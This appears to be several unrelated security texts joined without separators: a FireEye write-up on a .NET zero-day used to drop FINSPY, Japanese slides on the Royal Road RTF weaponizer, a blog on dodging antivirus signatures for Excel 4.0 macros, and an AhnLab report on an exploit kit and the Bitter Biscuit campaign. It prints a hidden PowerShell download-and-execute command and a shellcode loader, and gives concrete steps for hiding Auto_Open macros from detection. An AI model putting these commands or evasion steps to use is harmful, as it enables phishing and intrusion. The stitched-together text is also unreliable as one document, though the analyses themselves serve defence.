addresses. However, if a CRLF sequence is in the additional addresses, the code following the CRLF will not be commented out. This lack of validation allows for the injection of a System.Diagnostics.Process.Start method call. The generated code will be compiled by csc.exe of the .NET framework and loaded by the Office executables as a DLL. ## The In-the-Wild Attacks The attacks that FireEye observed in the wild leveraged a Rich Text Format (RTF) document, similar to the CVE-2017-0199 documents previously reported. The malicious sample contained embedded SOAP monikers to facilitate exploitation. The payload retrieves the malicious SOAP WSDL definition from an attacker-controlled server. The WSDL parser, implemented in System.Runtime.Remoting.ni.dll of the .NET framework, parses the content and generates a .cs source code at the working directory. The csc.exe of the .NET framework then compiles the generated source code into a library, namely http[url path].dll. Microsoft Office then loads the library, completing the exploitation stage. Upon successful exploitation, the injected code creates a new process and leverages mshta.exe to retrieve a HTA script named “word.db” from the same server. The HTA script removes the source code, compiled DLL, and the PDB files from disk and then downloads and executes the FINSPY malware named “left.jpg,” which, despite the .jpg extension and “image/jpeg” content-type, is actually an executable. The malware will be placed at %appdata%\Microsoft\Windows\OfficeUpdte-KB[6 random numbers].exe. ## The Malware The “left.jpg” (md5: a7b990d5f57b244dd17e9a937a41e7f5) is a variant of FINSPY. It leverages heavily obfuscated code that employs a built-in virtual machine – among other anti-analysis techniques – to make reversing more difficult. As likely another unique anti-analysis technique, it parses its own full path and searches for the string representation of its own MD5 hash. Many resources, such as analysis tools and sandboxes, rename files/samples to their MD5 hash in order to ensure unique filenames. This variant runs with a mutex of "WininetStartupMutex0". ## Conclusion CVE-2017-8759 is the second zero-day vulnerability used to distribute FINSPY uncovered by FireEye in 2017. These exposures demonstrate the significant resources available to “lawful intercept” companies and their customers. Furthermore, FINSPY has been sold to multiple clients, suggesting the vulnerability was being used against other targets. It is possible that CVE-2017-8759 was being used by additional actors. While we have not found evidence of this, the zero-day being used to distribute FINSPY in April 2017, CVE-2017-0199, was simultaneously being used by a financially motivated actor. If the actors behind FINSPY obtained this vulnerability from the same source used previously, it is possible that source sold it to additional actors. ## Acknowledgement Thank you to Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team, and FireEye iSIGHT Intelligence for their contributions to this blog. We also thank everyone from the Microsoft Security Response Center (MSRC) who worked with us on this issue.
# 自己紹介 ## 小池倫太郎 - NTTセキュリティ・ジャパン SOCアナリスト - nao_sec - 悪性ファイルやスクリプトの解析 - 脅威情報の収集・調査 ## 中島将太 - サイバーディフェンス研究所 分析官 - nao_sec - RTFのExploit、シェルコード解析やマルウェア解析などを担当 ## モチベーションとゴール - Royal Roadを用いた標的型攻撃の特徴を把握 - Royal Roadによって生成されたRTFの挙動や特徴 - どのような脆弱性が悪用されるのか - どのようにマルウェアが実行されるのか - バージョン、アクターごとの特徴 - 攻撃アクターの分類 - Group-A (Temp.Conimes, Temp.Periscope, Rancor) - Group-B (Temp.Trident, Temp.Tick, TA428, Tonto) - 特徴を用いたHuntingの例 - Yara Rule - ATT&CK TID ## Royal Road - RTF Weaponizer - Anomaliがレポートを公開 - 単純に8.tと呼ばれることもある - 一般には非公開のツールだが、複数のアクター間で共有されていると言われている - レポート内にはっきりとした定義はない - 本講演では以下の2つを満たすものをRoyal Roadによって生成されたRTFとして扱う 1. 数式エディタの脆弱性を悪用する 2. RTF内にオブジェクトに8.tという名前のオブジェクトを持つ ## Royal Road RTFの動作 1. ActiveXの”Package”を使ってドキュメントのオープン時にファイル(8.t)を作成する - Create - read - Decode & Execute - Document Exploit - Shellcode - Malware 2. Microsoft Officeの数式エディタの脆弱性を悪用 - CVE-2017-11882 - CVE-2018-0798 - CVE-2018-0802 3. 作成したファイルがエンコードされている場合はデコード - マルウェアの実行、DLLサイドローディング等をおこなう ## Version - VB2019のProofpointとAnomaliによる発表で定義された分類 | version | Object string | CVE | Object Pattern | Shellcode encode | 8.t encode | |---------|---------------|-----|----------------|------------------|------------| | v1 | objw2180¥objh300{¥*¥objclass | CVE-2017-11882 | 48905d006c9c5b000 | No encode | F2 A3 20 72 | | v2 | objw2180¥objh300{¥objdata 554567{¥*¥objdata | 65303739613235323 | No encode | F2 A3 20 72 | | v3 | 1389E614020000000B0000004571756174696F6E2 | | No encode | No encode | | v4 | objw2180¥objh300{¥objdata | CVE-2018-0802 | 47464241515151515 | 1byte xor | B2 A6 6D FF | | v5 | objw2180¥objh300{¥objdata {¥object | CVE-2018-0798 | 53533362044606060 | 1byte xor | No encode | ## Shellcode Encode - RoyalRoadのバージョンによってシェルコードのエンコード方法が変化 - v1-v3: No encode - v4-v6: 1byte xor - v7: 2byte xor ## Shellcode Technique - Patch API code - clearerrをパッチして任意のAPIを呼び出す - 使用するWinAPIがmsvcrt.dll経由で呼び出される - APIのコードの先頭をチェックしてフックされている場合は5バイト読み飛ばしてフックを回避 ## 8.t Pattern - 8.tオブジェクトは5つのパターンが存在 1. 4D 5A 90 00 (エンコードなし) 2. F2 A3 20 72 3. B2 A6 6D FF 4. B0 74 77 46 5. B2 5A 6F 00 ## アトリビューション要素 - 時期(パブリックサービスへの投稿、作成日時) - 攻撃対象の国(デコイファイルの言語) - RTFの特徴 - Object strings - Object pattern - Package pattern - Objectの名前、パス情報 ## 攻撃アクター - Temp.Tick - 別名: BRONZE BUTLER, RedBaldKnight - 関与が疑われる国: 中国 - 標的: 日本, 韓国 - マルウェア: ABK Downloader, avirra Downloader - TA428 - 別名: CactusPete, LoneRanger, Karma - 関与が疑われる国: 中国 - 標的: モンゴル, ロシア, 韓国, 日本 - マルウェア: PoisonIvy, Cotx RAT ## 攻撃アクター間の結びつき - Group-A: Temp.Conimes, Temp.Periscope, Rancor - Group-B: Temp.Trident, Temp.Tick, TA428, Tonto ## まとめ - Royal Roadによって作成されたRTF - 数式エディタの脆弱性を悪用 - 様々な特徴がある - バージョンの識別 - アクターとグループ - Royal Roadを使う攻撃アクターはとても多い - 中国との関連が疑われているアクターがほとんど - RTFなどの特徴からアクターをグループに分類できる ## 質問はありますか?
# Evading Detection with Excel 4.0 Macros and the BIFF8 XLS Format Abusing legacy functionality built into the Microsoft Office suite is a tale as old as time. One functionality that is popular with red teamers and maldoc authors is using Excel 4.0 Macros to embed standard malicious behavior in Excel files and then execute phishing campaigns with these documents. These macros, which are fully documented online, can make web requests, execute shell commands, access win32 APIs, and have many other capabilities which are desirable to malware authors. As an added bonus, the Excel format embeds macros within Macro sheets which can be more challenging to examine statically than VBA macros which are easier to extract. As a result, many malicious macro documents have a much lower than expected rate of detection in the AV world. Malware campaigns, such as the ZLoader campaign, are actively abusing this functionality to perform mass phishing attacks. The campaign is so prolific that I’ve actually received one of these maldocs in one of my personal email accounts. Because of its effectiveness and low detection rate, this technique is also popular in the penetration testing community. Outflank described how to embed shellcode in Excel 4.0 Macros in 2018, and tooling has been published to abuse this functionality via Excel’s ExecuteExcel4Macro VBA API. While there is clearly already a spotlight on the subject of Excel 4.0 Macros, I believe that only the surface of this attack vector has been scratched. There’s no doubt that defenders are building better signal on malicious macros, but there is also evidence that some of this signal can be brittle and unreliable. For example, the ZLoader campaign obfuscates its macros using a series of cells that build each command from CHAR expressions. Ex: =CHAR(61) evaluates to the = character. There’s plenty to build a signature on in this sheet: - The repeated usage of the =CHAR(#) cells to define formula content one character at a time. - The use of the Auto_Open label which triggers automatic execution of the macro sheet once the “Enable Content” button is pressed. - ZLoader marks their macro sheets as hidden which has a detectable static signature. - The use of numerous Formula expressions to dynamically generate additional expressions at runtime. A lot of this would appear to be good enough signal to just block outright – Windows Defender, for example, considers just about any usage of =CHAR(#) to be malicious. Making an empty macro sheet that contains one cell with =CHAR(42) and another with =HALT() will immediately flag the document as malicious. This is probably a bit overkill, but apparently the number of legitimate users that do this is small enough that Windows can roll out a patch to all machines marking it malicious. A more reasonable signature, which seems resistant to false positives, is @DissectMalware’s macro_sheet_obfuscated_char YARA rule: ```yara rule macro_sheet_obfuscated_char { meta: description = "Finding hidden/very-hidden macros with many CHAR functions" Author = "DissectMalware" Sample = "0e9ec7a974b87f4c16c842e648dd212f80349eecb4e636087770bc1748206c3b (Zloader)" strings: $ole_marker = {D0 CF 11 E0 A1 B1 1A E1} $macro_sheet_h1 = {85 00 ?? ?? ?? ?? ?? ?? 01 01} $macro_sheet_h2 = {85 00 ?? ?? ?? ?? ?? ?? 02 01} $char_func = {06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 1E 3D 00 41 6F 00} condition: $ole_marker at 0 and 1 of ($macro_sheet_h*) and #char_func > 10 } ``` This rule looks for three things: 1. The standard magic header for Office documents D0CF11E0A1B11AE1 at the start of the file. 2. A macro sheet (defined in a BoundSheet8 BIFF Record) with a hidden state set to Hidden or VeryHidden. 3. The presence of at least 10 Formula BIFF Records which have an Rgce field containing two Ptg structures – a PtgInt representing the value 0x3D (which maps to the = character) and a PtgFunc with an Ftab value of 0x6F (the matching tab value for the CHAR function). Unless you are fairly acquainted with the Excel 2003 Binary format (also known as BIFF8), the third search condition is likely to read as a series of random letters jammed together rather than anything coherent. To better understand what exactly is being discussed, let’s take a quick detour into the BIFF8 file format. ## The Excel 97-2003 Binary File Format (BIFF8) Before office documents were saved in the Open Office XML (OOXML) format, they were saved in a much more succinct binary format focused on describing the maximum amount of information with the minimum number of bytes. Legacy office documents are stored in a Compound Binary File Format (CBF) while their actual application specific data (such as Word document content or Excel workbook information) is stored within binary streams embedded in the CBF header. Excel’s workbook stream is a direct series of Binary Interchange File Format (BIFF) records. The records are fairly simple – there are 2 bytes for describing the record type, 2 bytes for describing the remaining length of the record, and then the relevant record bytes. An Excel workbook is just a series of BIFF records beginning with a BOF record and eventually ending with a final EOF record. Microsoft’s Open Specifications project has helpfully documented every one of these records online. For example, if we are parsing a stream and read a record beginning with the byte sequence 85 00 0E 00, we are reading a BoundSheet8 record that is 14 bytes long. From Microsoft’s documentation we can see that BoundSheet8 records contain a 4 byte offset pointing to the relevant BOF record, 2 bits used for describing the visible state of the sheet, a single byte used for describing the sheet type, and a variable number of bytes used for the name of the sheet. The above hex dump represents a BoundSheet8 record for a Macro sheet that has been “Very Hidden” – essentially made inaccessible from within Excel’s UI. This record would match the YARA sig byte regex of $macro_sheet_h2 = {85 00 ?? ?? ?? ?? ?? ?? 02 01}. The signature begins with the matching BIFF record id for BoundSheet8 (85 00), then ignores the size (2 bytes) and the lbPlyPos record (4 bytes). It then matches the hsState field (02) followed by the byte indicating that the sheet is a macro sheet (01). However, there are a few tricks to essentially dodge this signature component by abusing flexibility in the specification. For example, the hsState field is only supposed to be represented by 2 bits – the remaining 6 bits of that byte are reserved. Theoretically this means that touching these bits should invalidate a spreadsheet, but this is not what happens in practice. Say we replaced the value 02 (b’00000010 in binary) with a different value by flipping some bits (b’10101010) like AA – would Excel also treat that as a hidden sheet? I can’t speak for all versions of Excel, but in my testing with Excel 2010 and 2019, the answer is yes. Essentially, by following the majority of the specification, but not following the exact way that Excel has traditionally generated these documents creates an entirely new set of Excel binary sheets which bypasses most static signatures. The remainder of this blog post will focus on a few examples of abusing the BIFF8 specification to create alternate, but valid, Excel documents. ## Label (Lbl) Records Lbl records are used for explicitly naming cells in a worksheet for reference by other formulas. In some cases, Lbl records can contain macros or trigger the download and execution of other macros. From a malicious macro author’s perspective, though, the most likely usage of a Lbl record is to define the Auto_Open cell for their workbook. If a workbook has an explicitly defined Auto_Open cell then, once macros are enabled, Excel will immediately begin evaluating the macros defined at that cell and continue evaluating cells below it until a HALT() function is invoked. Understandably, the existence of an Auto_Open Lbl record is considered fairly suspicious, so there are a number of workarounds attackers have taken to hide their usage of this functionality. By default, when an Auto_Open label is defined in a BIFF8 document, it has its fBuiltin flag set to true, and its name field set to the value 01, indicating that this is an Auto_Open function. The first 17 bytes of this record (21 if you include the 4 byte header) can likely be used as a signature to identify usage. This does assume a lack of meddling with the reserved bytes which default to 00, but signatures could probably replace these with wildcard bytes and not pick up too many false positives. Given that normal labels are never going to have a single byte value of 01, there is a very small chance of triggering false positives with this as well. If a user attempts to save any variation on the Auto_Open label (like alternative capitalization AuTo_OpEn), Excel will automatically convert it back to the shortened fBuiltin version shown above. However, when Excel opens an OOXML formatted workbook there is no equivalent shorthand record for Auto_Open, it is simply stored as a string. So what happens if we explicitly create a Lbl record, leave fBuiltin as false, and give it a name of Auto_Open? If a Lbl record is generated with these properties and inserted into an Excel document, Excel will still treat the referenced cell as an Auto_Open cell and trigger it. So we can create a label that triggers Auto_Open behavior but doesn’t look like the default record. This is a good start, but once a technique like this became well known it would also be vulnerable to a quick signature. As is, there are already plenty of AV solutions that will explicitly look for the Auto_Open string since attackers have been abusing this in OOXML documents in the wild. Excel is surprisingly flexible when it comes to considering a text field matching the Auto_Open label – apparently the application only checks if the label starts with the string Auto_Open. This results in maldocs with labels like Auto_Open21. In fact, if you use Excel to save a label with name like Auto_Open222, it will actually save the record using a combination of the fBuiltin flag, and then append the extra characters. Appending characters is great, but can we inject additional characters into the Auto_Open string in a way that Excel will still read it? A common trick in bypassing input validation is to try injecting null bytes to see if it results in the string being terminated early. Occasionally null bytes are also good for changing the length of a string without affecting its value. Excel will actually give us the best of both worlds, from an attacker perspective, when injecting null bytes. The Auto_Open functionality will remain intact and still trigger for the cell we specify, but the Name Manager will not properly display any part of the name after the first null byte. Additionally, our Lbl record’s name data will not be easily match-able with a predictable regex. The rabbit hole actually can go deeper than just null byte injection, however – the Name field in Lbl records is represented by a XLUnicodeStringNoCch record. This record allows us to specify strings using either (essentially) ASCII or UTF16 depending on whether we set the fHighByte flag. Besides further breaking any signatures relying on a contiguous Auto_Open string, the usage of UTF16 opens a whole new world of string abuse to attackers. Unicode is traditionally a parsing nightmare in the security space due to inconsistent handling of edge cases across implementations. Excel is no exception to this, and it appears that when an unexpected character is encountered, the label parsing code will simply ignore it. From testing it appears that any “invalid” unicode character found will be skipped entirely. There are likely exceptions to the rule, but it appears that any entry that claims to be an invalid combination on fileformat.info can be injected into XLUnicodeStringNoCch records without impacting parsing. For example, if we build a string like "\ufefeA\uffffu\ufefft\ufffeo\uffef_\ufff0O\ufff1p\ufff6e\ufefdn\udddd", this will still trigger the Excel Auto_Open functionality. This could be combined with null byte injection to hide the manipulation from the Name Manager UI entirely, or the Lbl record’s fHidden bit could be set to stop it from appearing in the Name Manager entirely. The ability to inject an arbitrary amount of garbage in between letters in the Lbl name significantly increases the difficulty of building a reliable signature for this technique. ## The Rgce and Ptg Structures Let’s revisit the YARA rule from earlier, specifically the part for detecting usages of =CHAR(#): This signature is keying on the beginning of a Formula record, and then the CellParsedFormula structure towards the end. CellParsedFormula structures contain three things: 1. cce – The size of the following rgce structure 2. rgce – The actual structure containing what we’d consider to contain the formula 3. rgcb – A secondary structure containing supporting information that might be referenced in rgce So what on earth is an Rgce structure? Why it’s a set of Ptg structures of course! Ptg structures, short for “Parse Thing”, are the base component of Formulas. While one might expect to find a string representation of a formula like =CHAR(61), this wouldn’t mesh with BIFF8’s hyper-focus on reducing file size. Each formula is represented as a series of Ptg expressions which describes a small piece of what a user would consider to be a formula. For example, =CHAR(61) is in fact two components – a reference to the internal CHAR function, and the number 61. Each of these representations has a corresponding Ptg structure. The CHAR function is represented by a PtgFunc, a Ptg record which contains a reference to a predefined list of functions in Excel known as the Ftab. The number 61 is represented by a PtgInt structure which is just the standard Ptg header and an integer with the value of 61. As a result, we end up with the binary signature of 1E 3D 00 41 6F 00 (41 is the Ptg number for PtgFunc). One thing that might stand out here, however, is the fact that the ordering of this data seems backwards – the PtgInt(61) data is stored before the PtgFunc(CHAR) data. This is because Ptg expressions are described using Reverse Polish Notation (RPN). RPN allows for quick parsing of a series of operators and operands without needing to worry about parentheses, items are processed in the order they are read. For example: 3 4 − 5 + represents taking the value 3 and 4, then applying the subtraction function to those values to get -1. The value 5 is taken and the addition function is applied to -1 and 5, resulting in 4. This mentality is useful for stack-based programming languages, and it is used here to simulate what is essentially a stack of Ptg expressions. In our example here, the operand PtgInt(61) is popped off the stack, then the PtgFunc(CHAR) is applied to it. The reason this is relevant is because the Rgce block is ideally designed from a malware author’s perspective. There are numerous ways to represent the exact same functionality that look completely different from a static analysis perspective. The byte layout of the rgce block is also highly sensitive to change, turning a single value into a function invocation can rearrange the order of all other Ptg bytes within the expression. ## Introducing Macrome Much of the work necessary for testing some of these methods involved manually writing XLS files rather than using Excel. While there are plenty of tools for reading the BIFF8 XLS format, good tooling for manually creating and modifying XLS files doesn’t appear to be as common. As a result, I’ve created a tool for building and deobfuscating BIFF8 XLS Macro documents. This tool, Macrome, uses a modified version of the b2xtranslator library used by BiffView. Macrome implements many of the obfuscations described in this blog post to help penetration testers more easily create documents for phishing campaigns. The modified b2xtranslator library can be used for research and experimentation with alternate obfuscation methods. Macrome also provides functionality that can be used to reverse many of these obfuscations in support of malware analysts and defenders. The tool was originally going to include functionality to process macros to help bypass obfuscated formulas, but @DissectMalware has already created a fantastic tool called XLMMacroDeobfuscator which goes above and beyond anything I was planning on dropping. It’s really a great piece of tech that I’d recommend anyone who has to analyze these kinds of documents. I’ll be posting in the future about how to further expand Macrome and implement your own obfuscation and deobfuscation methods. In the meantime, please give the tool a try at https://github.com/michaelweber/Macrome. If you have any suggestions or feature requests please let me know here or open an issue!
# ASEC Report ## VOL.93 Q4 2018 ASEC (AhnLab Security Emergency Response Center) is a global security response group consisting of malware analysts and security experts. This report is published by ASEC and focuses on the most significant security threats and latest security technologies to guard against such threats. ## SECURITY TREND OF Q4 2018 ### ANALYSIS IN-DEPTH **New Ransomware in the Wild** with a Double Drive-by Download Attack ### SECURITY ISSUE **Major Attacks of Operation Bitter Biscuit in 2018** ### ANALYSIS IN-DEPTH **New Ransomware in the Wild with a Double Drive-by Download Attack** #### Figure 1-1 | Overview of Drive-by Download #### Figure 1-2 | Malicious Script Embedded in a Webpage #### Table 1-1 | Part of the Landing Page in the Green Flash Sundown Exploit Kit ```plaintext <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="400"> <param name="movie" value="http://adop.us/show_ads.js" /> <param name="play" value="true" /> <param name="allowscriptaccess" value="always" /> ``` #### Table 1-2 | Part of Flash File Step 1 ```plaintext var url:String = "B64Z5BF4fDB7eOg7J6BLc4o2aQUsCESreQ=="; var url_key:String = "QVNPbTIzbmxkMw=="; var url_key_byt:ByteArray = new ByteArray(); var key:String = generateRandomString(10); key_byte = new ByteArray(); key_byte.writeMultiByte(key,"UTF8"); var token:String = processData(key); key = ""; if(ActiveX == Capabilities.playerType) { url_dec = Rc4(Base64.decodeToByteArray(url_key),Base64.decodeToByteArray(url)); data_load = new URLLoader(); data_load.dataFormat = URLLoaderDataFormat.BINARY; data_load.addEventListener(Event.COMPLETE,_jj18); _dv34 = new URLRequest(url_dec + "?token=" + encodeURIComponent(token)); data_load.load(_dv34); } ``` #### Table 1-3 | Part of Flash File Step 1 ```plaintext var processData:Function = function(param1:String):String { var _loc2_:* = "-----BEGIN PUBLIC KEY-----\n" + "MFswDQYJKoZIhvcNAQEBBQADSgAwRwJAbkQoqittIfJPWqUP/O45yh9ZfI8hAae2\n" + "f0F8OqSEHrUcRLfeZCxpwlJgJQS426HaIy/ifPsC3hDayKhO9yTpbwIDAQAB\n" + "-----END PUBLIC KEY-----"; var _loc3_:ByteArray = new ByteArray(); var _loc4_:ByteArray = new ByteArray(); var _loc5_:String = ""; var _loc6_:RSAKey = PEM.readRSAPublicKey(_loc2_); _loc3_ = Hex.toArray(Hex.fromString(param1)); _loc6_.encrypt(_loc3_,_loc4_,_loc3_.length); _loc5_ = Base64.encodeByteArray(_loc4_); return _loc5_; }; ``` #### Table 1-4 | Part of Flash File Step 1 ```plaintext http://url_dec + "?token=" + encodeURIComponent(token) → http://adop[.]pro/index.php?token=YEFHWRKw0w5oNNECvY...omitted… ``` #### Table 1-5 | Part of Flash File Step 2 ```plaintext jjeiejiee = new ByteArray(); var _ver1:Boolean = false; var wewqqqww:String = "…Q…omitted…,09090909090909…omitted…"; wewqqqww = wewqqqww.substr(0,wewqqqww.indexOf(",")); var kwkw:String = "21"; var ddds3:String = mnznnznxzxzxzx(wewqqqww,kwkw); var sdkdjddd2:String = ""; sdkdjddd2 = ddds3.substr(7,ddds3.lastIndexOf("/") - 7); kbkiuiuui = new ByteArray(); kbkiuiuui.writeUTFBytes(sdkdjddd2); if(zxzxzzszx()) { zbzvzzzzzzx = new URLLoader(); zbzvzzzzzzx.dataFormat = URLLoaderDataFormat.BINARY; zbzvzzzzzzx.addEventListener(Event.COMPLETE,zxxzxnmmzz); request = new URLRequest(mnznnznxzxzxzx(wewqqqww,kwkw)); zbzvzzzzzzx.load(request); } ``` #### Table 1-6 | Part of Flash File Step 2 #### Figure 1-3 | Part of the Step 3 Flash File ```plaintext cmd.exe /q /c "powErShEll.ExE -nop -w hIddEn -c $J=nEw-objEct nEt.wEbclIEnt; $J.proxy=[NEt.WEbREquESt]::GEtSyStEmWEbProxy(); $J.Proxy.CrEdEntIalS=[NEt.CrEdEntIalCachE]::DEfaultCrEdEntIalS; IEX $J.downloadStrIng('http://lloydss.bestdealsadvbiz.space/index.php');" ``` #### Table 1-7 | Executed Command ```plaintext [Byte[]]$key = [System.Text.Encoding]::ASCII.GetBytes("LU5V") $m = new-Object System.Net.WebClient; [Byte[]]$data = $m.DownloadData("http://lloydss.bestdealsadvbiz.space/index.php?mk="+$av_base+"&sq="+$vm_base) [Byte[]]$iJF = rc4 $data $key $b0Z = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((mu kernel32.dll VirtualAlloc), (k9no_ @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $iJF.Length,0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($iJF, 0, $b0Z, $iJF.length) ``` #### Table 1-8 | Part of the Decrypted index.php Page #### Table 1-9 | Registry Path ```plaintext HKEY_CURRENT_USER\Software\GUN\Display\windowData ``` #### Table 1-10 | Folders, Files, and Extensions Excluded from Encryption **Excluded from Encryption** - Folder - File - system volume information - mozilla - bootsect.bak - desktop.ini - programdata - appdata - ntuser.ini - ntuser.dat.log - application data - windows.old - thumbs.db - bootfont.bin - $windows.~bt - program files (x86) - your_files_are_encrypted.txt - ntuser.dat - program files - $recycle.bin - ntldr - boot.ini - tor browser - google - iconcache.db - autorun.inf - Windows - boot **Excluded from Encryption** - Extension - mod - adv - dll - msstyles - mpa - nomedia - ocx - cmd - ps1 - themepack - sys - prf - diagcfg - cab - ldf - diagpkg - icl - 386 - ico - cur - ics - ani - bat - com - rtp - diagcab - nls - msc - deskthemepack - idx - msp - msu - cpl - bin - shs - wpx - icns - exe - rom - theme - hlp - spl - fixt - lnk - scr - drv #### YOUR_FILES_ARE_ENCRYPTED.TXT **SEON RANSOMWARE** All your files have been encrypted. There is only one way to get your files back: contact us, pay, and get decryptor software. We accept Bitcoin and other cryptocurrencies. You can decrypt 1 file for free. Write email to [email protected] or [email protected]. ### SECURITY ISSUE **Major Attacks of Operation Bitter Biscuit in 2018** An attack campaign called Operation Bitter Biscuit mainly occurred in South Korea, Japan, India, and Russia, and began a full-fledged operation in 2011. The attack group in charge of this operation has been carrying out attacks for a long time using the Bisonal-type malware to target major organizations, such as Korean military agencies and companies in the defense industry. The operation seemed to be in a lull from the fall of 2017, but it started again in 2018. In this report, we will look at the trends and techniques of the Operation Bitter Biscuit analyzed by the AhnLab Security Emergency Response Center (ASEC), with a focus on the actual attacks that have occurred in South Korea in 2018. 1. **Attacks Trends of Operation Bitter Biscuit** The Bisonal-type malware, first discovered in 2010, was mainly used for Operation Bitter Biscuit attacks and has continued to appear in attacks against South Korea, Japan, India, and Russia until now. It was first discovered in Korea in 2011 and was used in the attack on the defense industry in Japan in the following year. In 2015, the Indian Computer Emergency Response Team (CERT-In) released a warning on a variant of Bisonal, called Bioazih. From the analysis of the attack trends of Operation Bitter Biscuit, it was found that the Bisonal-type malware was still actively used to attack major Korean agencies. From 2011 to Spring 2012, attacks were made on Korean institutions, and from 2013 to 2015, attacks were continuously made on Korean businesses and defense companies. In 2016 and 2017, attacks were made on companies in the defense industry and other related businesses. Most recently, in 2018, the scope of the attack was expanded with the concentration of attacks in the Korean marine sector. AhnLab has been tracking and analyzing the attacks of Operation Bitter Biscuit, which have been conducted for a long time, and the possible attack groups associated with those attacks. 2. **Major Attacks on Korea in 2018** The Table 2-1 timeline summarizes the major attacks of Operation Bitter Biscuit in 2018. After the lull from the fall of 2017, the attacks began again in spring 2018. The attacks on the Korean marine sector were observed from March to July 2018. | Date | Attack Target | Description | |---------------|-------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------| | March 2018 | ? (Presumably the marine sector) | Attack attempt using the file “퇴사 인수인계 자.scr” (Employee handbook for transfer of duties). Downloader created. | | March 2018 | Korean government agency | Attack attempt using the file “2018년 해양경찰청 공무원 (7급 9급) (2018.03.05).pdf.exe). Backdoor created. | | March 2018 | ? (Presumably the marine sector) | Attack attempt using the file “중형방탄정 업무연락망1.pdf.exe” (Contacts for medium bulletproof vessel). Backdoor created. | | July 2018 | ? (Presumably the marine sector) | Attack attempt disguised as a document related to a marine company. Packed downloader created. | | September 2018| Korean government agency | Only backdoor found. | The key feature of the attacks in 2018 is that the attack uses a new dropper. When the new dropper is executed, it generates malware and Visual Basic Script (VBS) files, as well as a decoy document. #### Figure 2-1 | Decoy Documents of Malware Found in 2018 The malware generated by the dropper comprises the downloader for downloading additional malware and a backdoor for executing remote commands. Some of the discovered malware adds a garbage value to the end of the file, creating a massive file with a size of several to a hundred megabytes. The generated VBS file includes a script that shows a decoy document and another script that deletes the executed dropper, as well as the executed VBS file itself. 3. **Malware Analysis** We will now look at the dropper, downloader, and backdoor used in the 2018 Operational Bitter Biscuit attacks. 3-1) **Dropper Analysis** On March 5, 2018, a file named “퇴사 인수인계 자료.scr” (Employee handbook for transfer of duties) was found to be used as a dropper. The basic information about the dropper is shown in Table 2-2. | File Name | File Size | Time Created | MD5 | SHA1 | SHA256 | |------------------------------------------------|-----------|---------------------------------------|---------------------------------------|----------------------------------------|------------------------------------------| | 퇴사 인수인계 자료.scr (Employee handbook for transfer of duties) | 260,968 | 22:01:29 December 26, 2015 (UTC) | e5a8c1df0360baeeeab767d8422cc58f | 0ba6787751e7e80c0911f666fd42a175dd419e0e | 013c87898926de3f6cc8266c79c7888d92eb1546a49493d1433b8261d2e41e77 | **Key Features and Characteristics** Decoy document, executable file, VBS file created AhnLab Diagnosis: Dropper/Win32.Bisonal When the dropper is executed, a decoy document, an executable file, and two VBS files are created. #### Figure 2-2 | Components of the Malware As mentioned earlier, the information of the attack target can be inferred from the contents of the decoy document. All the decoy documents of the dropper found in 2018 are related to the Korean marine sector. The executable file works as a downloader, and some variants also include a backdoor. The two VBS files are comprised of a file that opens the decoy document on a Microsoft Office program and a file that deletes the executed dropper file. 3-2) **Downloader Analysis** One of the key features and characteristics of the downloader used in this attack is its function to check the name of the executed file. If the executed file name is not services.exe, the services.exe file is created in a specific path, such as c:\Users\[Username]\Applications\Microsoft. At this time, a garbage value is added to the end of the file to generate a file with a size of about 4 MB. | File Name | File Size | Time Created | MD5 | SHA1 | SHA256 | |-----------|-----------|---------------------------------------|---------------------------------------|----------------------------------------|------------------------------------------| | 3.tmp | 10,752 | 00:21:33 February 25, 2018 (UTC) | d198e4632f9c4b9a3efbd6b1ed378d26 | bb8be657e4bf1eb9a89ae66cb6c8a8d6baa934d4 | 4652882a64cc8fe823ab6d7c2166f1dbf9b75794d024ddbfaa173b6f9107a19f | **Key Features and Characteristics** File services.exe with a size of 4 megabytes or more is created. System information is saved as an ms.log. Additional malware is downloaded. AhnLab Diagnosis: Trojan/Win32.Bisdow The downloader downloads the MsUpdata.exe file from http://mp.motlat.com/lvs/tips.htm. According to AhnLab's analysis, the msupdata.exe file (2c0522a805fa845ec9385eb5400e8d16) was distributed from this address in early March 2018. The msupdata.exe file is also a downloader for downloading additional malware. The malware downloaded in the last step has yet to be confirmed. 3-3) **Backdoor Analysis** In 2018, a backdoor file was also created using a similar dropper. The malware associated with this backdoor was first discovered in the fall of 2014. A Bisonal variant was also discovered in the same attack target. | File Name | File Size | Time Created | MD5 | SHA1 | SHA256 | |-----------|-----------|---------------------------------------|---------------------------------------|----------------------------------------|------------------------------------------| | 3.tmp | 28,672 | 04:10:36 February 10, 2018 (UTC) | fc78fff75df0291d8c514f595f68c654 | aec101161bdfada59b93ef47f1b814e4fea54c9e | 6631d7045a2209ca5dbcf5071cb97eaea8cfba2e875a75e5535ba9180aaaf8d1 | **Key Features and Characteristics** Backdoor AhnLab Diagnosis: Backdoor/Win32.Bisoaks The Bisoaks malware, which is a Bisonal variant, is known for containing strings such as “axpbu.txt” and “mismyou.” However, some of the variants are packed with PECompact or MPRESS and these distinguishing strings cannot be checked. When the malware is executed, it registers the executed file to the registry key “mismyou” in the registry path HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. Ultimately, it executes the commands received from the C&C server as the last step. The features supported by the Bisoaks malware include collecting the system information, obtaining a process list, terminating a process, downloading a file, and executing a file. Some variants even have additional features, such as self-deletion. 4. **Association** The analysis of the Bitter Biscuit attacks in 2018 suggests that the dropper used in this attack has been newly developed. For downloaders and backdoors, association with the 2014 attacks has been confirmed. Bisoaks was also discovered to be responsible for the attacks in 2014 and 2018 using similar codes on the same attack target. The similarity between the strings and codes of the downloaders found in 2014 and 2018 can also be seen. Some download addresses of variants are associated with Korea. Furthermore, the main attack target can be inferred to be Korea, due to the fact that a fake certificate in the malware file is disguised as an AhnLab's certificate. The Bisoaks backdoor found in 2018 contains a distinctive string, and similar strings were found in the variant in October 2014. 5. **Conclusion** Operation Bitter Biscuit, which was dormant since the fall of 2017, resumed its attacks against major South Korean agencies from March 2018. The 